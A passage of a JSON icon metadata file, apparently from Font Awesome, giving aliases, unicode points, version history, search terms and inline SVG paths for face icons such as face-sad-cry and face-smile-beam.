        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM176.4 176a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM160 336H352c8.8 0 16 7.2 16 16s-7.2 16-16 16H160c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 1 48 256a208 208 0 1 1 416 0zM256 0a256 256 0 1 0 0 512A256 256 0 1 0 256 0zM176.4 240a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm192-32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM184 328c-13.3 0-24 10.7-24 24s10.7 24 24 24H328c13.3 0 24-10.7 24-24s-10.7-24-24-24H184z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 1 48 256a208 208 0 1 1 416 0zM256 0a256 256 0 1 0 0 512A256 256 0 1 0 256 0zM176.4 240a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm192-32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM184 328c-13.3 0-24 10.7-24 24s10.7 24 24 24H328c13.3 0 24-10.7 24-24s-10.7-24-24-24H184z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-meh-blank": {
    "aliases": {
      "names": ["meh-blank"],
      "unicodes": {
        "composite": ["1f636"],
        "secondary": ["10f5a4"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "emoticon",
        "face",
        "face without mouth",
        "mouth",
        "neutral",
        "quiet",
        "rating",
        "silent"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f5a4",
    "label": "Face Meh Blank",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm208.4-48a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm128 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm208.4-48a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm128 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 48a208 208 0 1 0 0 416 208 208 0 1 0 0-416zM512 256A256 256 0 1 1 0 256a256 256 0 1 1 512 0zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 48a208 208 0 1 0 0 416 208 208 0 1 0 0-416zM512 256A256 256 0 1 1 0 256a256 256 0 1 1 512 0zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-rolling-eyes": {
    "aliases": {
      "names": ["meh-rolling-eyes"],
      "unicodes": {
        "composite": ["1f644"],
        "secondary": ["10f5a5"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "emoticon",
        "eyeroll",
        "eyes",
        "face",
        "face with rolling eyes",
        "neutral",
        "rating",
        "rolling"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f5a5",
    "label": "Face Rolling Eyes",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM192 368H320c8.8 0 16 7.2 16 16s-7.2 16-16 16H192c-8.8 0-16-7.2-16-16s7.2-16 16-16zm32-144c0 35.3-28.7 64-64 64s-64-28.7-64-64c0-26 15.5-48.4 37.8-58.4c-3.7 5.2-5.8 11.6-5.8 18.4c0 17.7 14.3 32 32 32s32-14.3 32-32c0-6.9-2.2-13.2-5.8-18.4C208.5 175.6 224 198 224 224zm128 64c-35.3 0-64-28.7-64-64c0-26 15.5-48.4 37.8-58.4c-3.7 5.2-5.8 11.6-5.8 18.4c0 17.7 14.3 32 32 32s32-14.3 32-32c0-6.9-2.2-13.2-5.8-18.4C400.5 175.6 416 198 416 224c0 35.3-28.7 64-64 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM192 368H320c8.8 0 16 7.2 16 16s-7.2 16-16 16H192c-8.8 0-16-7.2-16-16s7.2-16 16-16zm32-144c0 35.3-28.7 64-64 64s-64-28.7-64-64c0-26 15.5-48.4 37.8-58.4c-3.7 5.2-5.8 11.6-5.8 18.4c0 17.7 14.3 32 32 32s32-14.3 32-32c0-6.9-2.2-13.2-5.8-18.4C208.5 175.6 224 198 224 224zm128 64c-35.3 0-64-28.7-64-64c0-26 15.5-48.4 37.8-58.4c-3.7 5.2-5.8 11.6-5.8 18.4c0 17.7 14.3 32 32 32s32-14.3 32-32c0-6.9-2.2-13.2-5.8-18.4C400.5 175.6 416 198 416 224c0 35.3-28.7 64-64 64z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM168 376c0 13.3 10.7 24 24 24H320c13.3 0 24-10.7 24-24s-10.7-24-24-24H192c-13.3 0-24 10.7-24 24zm-8-104c-26.5 0-48-21.5-48-48c0-14.3 6.3-27.2 16.2-36c-.2 1.3-.2 2.6-.2 4c0 17.7 14.3 32 32 32s32-14.3 32-32c0-1.4-.1-2.7-.2-4c10 8.8 16.2 21.7 16.2 36c0 26.5-21.5 48-48 48zm0 32a80 80 0 1 0 0-160 80 80 0 1 0 0 160zm192-32c-26.5 0-48-21.5-48-48c0-14.3 6.3-27.2 16.2-36c-.2 1.3-.2 2.6-.2 4c0 17.7 14.3 32 32 32s32-14.3 32-32c0-1.4-.1-2.7-.2-4c10 8.8 16.2 21.7 16.2 36c0 26.5-21.5 48-48 48zm0 32a80 80 0 1 0 0-160 80 80 0 1 0 0 160z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM168 376c0 13.3 10.7 24 24 24H320c13.3 0 24-10.7 24-24s-10.7-24-24-24H192c-13.3 0-24 10.7-24 24zm-8-104c-26.5 0-48-21.5-48-48c0-14.3 6.3-27.2 16.2-36c-.2 1.3-.2 2.6-.2 4c0 17.7 14.3 32 32 32s32-14.3 32-32c0-1.4-.1-2.7-.2-4c10 8.8 16.2 21.7 16.2 36c0 26.5-21.5 48-48 48zm0 32a80 80 0 1 0 0-160 80 80 0 1 0 0 160zm192-32c-26.5 0-48-21.5-48-48c0-14.3 6.3-27.2 16.2-36c-.2 1.3-.2 2.6-.2 4c0 17.7 14.3 32 32 32s32-14.3 32-32c0-1.4-.1-2.7-.2-4c10 8.8 16.2 21.7 16.2 36c0 26.5-21.5 48-48 48zm0 32a80 80 0 1 0 0-160 80 80 0 1 0 0 160z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-sad-cry": {
    "aliases": {
      "names": ["sad-cry"],
      "unicodes": {
        "composite": ["1f62d"],
        "secondary": ["10f5b3"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cry",
        "emoticon",
        "face",
        "loudly crying face",
        "sad",
        "sob",
        "tear",
        "tears"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f5b3",
    "label": "Face Sad Cry",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M352 493.4c-29.6 12-62.1 18.6-96 18.6s-66.4-6.6-96-18.6V288c0-8.8-7.2-16-16-16s-16 7.2-16 16V477.8C51.5 433.5 0 350.8 0 256C0 114.6 114.6 0 256 0S512 114.6 512 256c0 94.8-51.5 177.5-128 221.8V288c0-8.8-7.2-16-16-16s-16 7.2-16 16V493.4zM195.2 233.6c5.3 7.1 15.3 8.5 22.4 3.2s8.5-15.3 3.2-22.4c-30.4-40.5-91.2-40.5-121.6 0c-5.3 7.1-3.9 17.1 3.2 22.4s17.1 3.9 22.4-3.2c17.6-23.5 52.8-23.5 70.4 0zm121.6 0c17.6-23.5 52.8-23.5 70.4 0c5.3 7.1 15.3 8.5 22.4 3.2s8.5-15.3 3.2-22.4c-30.4-40.5-91.2-40.5-121.6 0c-5.3 7.1-3.9 17.1 3.2 22.4s17.1 3.9 22.4-3.2zM208 336v32c0 26.5 21.5 48 48 48s48-21.5 48-48V336c0-26.5-21.5-48-48-48s-48 21.5-48 48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M352 493.4c-29.6 12-62.1 18.6-96 18.6s-66.4-6.6-96-18.6V288c0-8.8-7.2-16-16-16s-16 7.2-16 16V477.8C51.5 433.5 0 350.8 0 256C0 114.6 114.6 0 256 0S512 114.6 512 256c0 94.8-51.5 177.5-128 221.8V288c0-8.8-7.2-16-16-16s-16 7.2-16 16V493.4zM195.2 233.6c5.3 7.1 15.3 8.5 22.4 3.2s8.5-15.3 3.2-22.4c-30.4-40.5-91.2-40.5-121.6 0c-5.3 7.1-3.9 17.1 3.2 22.4s17.1 3.9 22.4-3.2c17.6-23.5 52.8-23.5 70.4 0zm121.6 0c17.6-23.5 52.8-23.5 70.4 0c5.3 7.1 15.3 8.5 22.4 3.2s8.5-15.3 3.2-22.4c-30.4-40.5-91.2-40.5-121.6 0c-5.3 7.1-3.9 17.1 3.2 22.4s17.1 3.9 22.4-3.2zM208 336v32c0 26.5 21.5 48 48 48s48-21.5 48-48V336c0-26.5-21.5-48-48-48s-48 21.5-48 48z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M400 406.1V288c0-13.3-10.7-24-24-24s-24 10.7-24 24V440.6c-28.7 15-61.4 23.4-96 23.4s-67.3-8.5-96-23.4V288c0-13.3-10.7-24-24-24s-24 10.7-24 24V406.1C72.6 368.2 48 315 48 256C48 141.1 141.1 48 256 48s208 93.1 208 208c0 59-24.6 112.2-64 150.1zM256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM159.6 220c10.6 0 19.9 3.8 25.4 9.7c7.6 8.1 20.2 8.5 28.3 .9s8.5-20.2 .9-28.3C199.7 186.8 179 180 159.6 180s-40.1 6.8-54.6 22.3c-7.6 8.1-7.1 20.7 .9 28.3s20.7 7.1 28.3-.9c5.5-5.8 14.8-9.7 25.4-9.7zm166.6 9.7c5.5-5.8 14.8-9.7 25.4-9.7s19.9 3.8 25.4 9.7c7.6 8.1 20.2 8.5 28.3 .9s8.5-20.2 .9-28.3C391.7 186.8 371 180 351.6 180s-40.1 6.8-54.6 22.3c-7.6 8.1-7.1 20.7 .9 28.3s20.7 7.1 28.3-.9zM208 320v32c0 26.5 21.5 48 48 48s48-21.5 48-48V320c0-26.5-21.5-48-48-48s-48 21.5-48 48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M400 406.1V288c0-13.3-10.7-24-24-24s-24 10.7-24 24V440.6c-28.7 15-61.4 23.4-96 23.4s-67.3-8.5-96-23.4V288c0-13.3-10.7-24-24-24s-24 10.7-24 24V406.1C72.6 368.2 48 315 48 256C48 141.1 141.1 48 256 48s208 93.1 208 208c0 59-24.6 112.2-64 150.1zM256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM159.6 220c10.6 0 19.9 3.8 25.4 9.7c7.6 8.1 20.2 8.5 28.3 .9s8.5-20.2 .9-28.3C199.7 186.8 179 180 159.6 180s-40.1 6.8-54.6 22.3c-7.6 8.1-7.1 20.7 .9 28.3s20.7 7.1 28.3-.9c5.5-5.8 14.8-9.7 25.4-9.7zm166.6 9.7c5.5-5.8 14.8-9.7 25.4-9.7s19.9 3.8 25.4 9.7c7.6 8.1 20.2 8.5 28.3 .9s8.5-20.2 .9-28.3C391.7 186.8 371 180 351.6 180s-40.1 6.8-54.6 22.3c-7.6 8.1-7.1 20.7 .9 28.3s20.7 7.1 28.3-.9zM208 320v32c0 26.5 21.5 48 48 48s48-21.5 48-48V320c0-26.5-21.5-48-48-48s-48 21.5-48 48z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-sad-tear": {
    "aliases": {
      "names": ["sad-tear"],
      "unicodes": {
        "composite": ["1f622"],
        "secondary": ["10f5b4"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cry",
        "crying face",
        "emoticon",
        "face",
        "sad",
        "tear",
        "tears"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f5b4",
    "label": "Face Sad Tear",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zm240 80c0-8.8 7.2-16 16-16c45 0 85.6 20.5 115.7 53.1c6 6.5 5.6 16.6-.9 22.6s-16.6 5.6-22.6-.9c-25-27.1-57.4-42.9-92.3-42.9c-8.8 0-16-7.2-16-16zm-80 80c-26.5 0-48-21-48-47c0-20 28.6-60.4 41.6-77.7c3.2-4.4 9.6-4.4 12.8 0C179.6 308.6 208 349 208 369c0 26-21.5 47-48 47zM367.6 208a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm-192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zm240 80c0-8.8 7.2-16 16-16c45 0 85.6 20.5 115.7 53.1c6 6.5 5.6 16.6-.9 22.6s-16.6 5.6-22.6-.9c-25-27.1-57.4-42.9-92.3-42.9c-8.8 0-16-7.2-16-16zm-80 80c-26.5 0-48-21-48-47c0-20 28.6-60.4 41.6-77.7c3.2-4.4 9.6-4.4 12.8 0C179.6 308.6 208 349 208 369c0 26-21.5 47-48 47zM367.6 208a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm-192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M175.9 448c-35-.1-65.5-22.6-76-54.6C67.6 356.8 48 308.7 48 256C48 141.1 141.1 48 256 48s208 93.1 208 208s-93.1 208-208 208c-28.4 0-55.5-5.7-80.1-16zM0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zM128 369c0 26 21.5 47 48 47s48-21 48-47c0-20-28.4-60.4-41.6-77.7c-3.2-4.4-9.6-4.4-12.8 0C156.6 308.6 128 349 128 369zm128-65c-13.3 0-24 10.7-24 24s10.7 24 24 24c30.7 0 58.7 11.5 80 30.6c9.9 8.8 25 8 33.9-1.9s8-25-1.9-33.9C338.3 320.2 299 304 256 304zm47.6-96a32 32 0 1 0 64 0 32 32 0 1 0 -64 0zm-128 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M175.9 448c-35-.1-65.5-22.6-76-54.6C67.6 356.8 48 308.7 48 256C48 141.1 141.1 48 256 48s208 93.1 208 208s-93.1 208-208 208c-28.4 0-55.5-5.7-80.1-16zM0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zM128 369c0 26 21.5 47 48 47s48-21 48-47c0-20-28.4-60.4-41.6-77.7c-3.2-4.4-9.6-4.4-12.8 0C156.6 308.6 128 349 128 369zm128-65c-13.3 0-24 10.7-24 24s10.7 24 24 24c30.7 0 58.7 11.5 80 30.6c9.9 8.8 25 8 33.9-1.9s8-25-1.9-33.9C338.3 320.2 299 304 256 304zm47.6-96a32 32 0 1 0 64 0 32 32 0 1 0 -64 0zm-128 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-smile": {
    "aliases": {
      "names": ["smile"],
      "unicodes": {
        "composite": ["1f642"],
        "secondary": ["10f118"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.0.9",
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "approve",
        "emoticon",
        "face",
        "happy",
        "rating",
        "satisfied",
        "slightly smiling face",
        "smile"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f118",
    "label": "Face Smile",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM164.1 325.5C182 346.2 212.6 368 256 368s74-21.8 91.9-42.5c5.8-6.7 15.9-7.4 22.6-1.6s7.4 15.9 1.6 22.6C349.8 372.1 311.1 400 256 400s-93.8-27.9-116.1-53.5c-5.8-6.7-5.1-16.8 1.6-22.6s16.8-5.1 22.6 1.6zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM164.1 325.5C182 346.2 212.6 368 256 368s74-21.8 91.9-42.5c5.8-6.7 15.9-7.4 22.6-1.6s7.4 15.9 1.6 22.6C349.8 372.1 311.1 400 256 400s-93.8-27.9-116.1-53.5c-5.8-6.7-5.1-16.8 1.6-22.6s16.8-5.1 22.6 1.6zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm177.6 62.1C192.8 334.5 218.8 352 256 352s63.2-17.5 78.4-33.9c9-9.7 24.2-10.4 33.9-1.4s10.4 24.2 1.4 33.9c-22 23.8-60 49.4-113.6 49.4s-91.7-25.5-113.6-49.4c-9-9.7-8.4-24.9 1.4-33.9s24.9-8.4 33.9 1.4zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm177.6 62.1C192.8 334.5 218.8 352 256 352s63.2-17.5 78.4-33.9c9-9.7 24.2-10.4 33.9-1.4s10.4 24.2 1.4 33.9c-22 23.8-60 49.4-113.6 49.4s-91.7-25.5-113.6-49.4c-9-9.7-8.4-24.9 1.4-33.9s24.9-8.4 33.9 1.4zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-smile-beam": {
    "aliases": {
      "names": ["smile-beam"],
      "unicodes": {
        "composite": ["1f60a"],
        "secondary": ["10f5b8"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "blush",
        "emoticon",
        "eye",
        "face",
        "happy",
        "positive",
        "smile",
        "smiling face with smiling eyes"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f5b8",
    "label": "Face Smile Beam",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM164.1 325.5C182 346.2 212.6 368 256 368s74-21.8 91.9-42.5c5.8-6.7 15.9-7.4 22.6-1.6s7.4 15.9 1.6 22.6C349.8 372.1 311.1 400 256 400s-93.8-27.9-116.1-53.5c-5.8-6.7-5.1-16.8 1.6-22.6s16.8-5.1 22.6 1.6zm53.5-96.7l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM164.1 325.5C182 346.2 212.6 368 256 368s74-21.8 91.9-42.5c5.8-6.7 15.9-7.4 22.6-1.6s7.4 15.9 1.6 22.6C349.8 372.1 311.1 400 256 400s-93.8-27.9-116.1-53.5c-5.8-6.7-5.1-16.8 1.6-22.6s16.8-5.1 22.6 1.6zm53.5-96.7l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm177.6 62.1C192.8 334.5 218.8 352 256 352s63.2-17.5 78.4-33.9c9-9.7 24.2-10.4 33.9-1.4s10.4 24.2 1.4 33.9c-22 23.8-60 49.4-113.6 49.4s-91.7-25.5-113.6-49.4c-9-9.7-8.4-24.9 1.4-33.9s24.9-8.4 33.9 1.4zm40-89.3l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm177.6 62.1C192.8 334.5 218.8 352 256 352s63.2-17.5 78.4-33.9c9-9.7 24.2-10.4 33.9-1.4s10.4 24.2 1.4 33.9c-22 23.8-60 49.4-113.6 49.4s-91.7-25.5-113.6-49.4c-9-9.7-8.4-24.9 1.4-33.9s24.9-8.4 33.9 1.4zm40-89.3l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 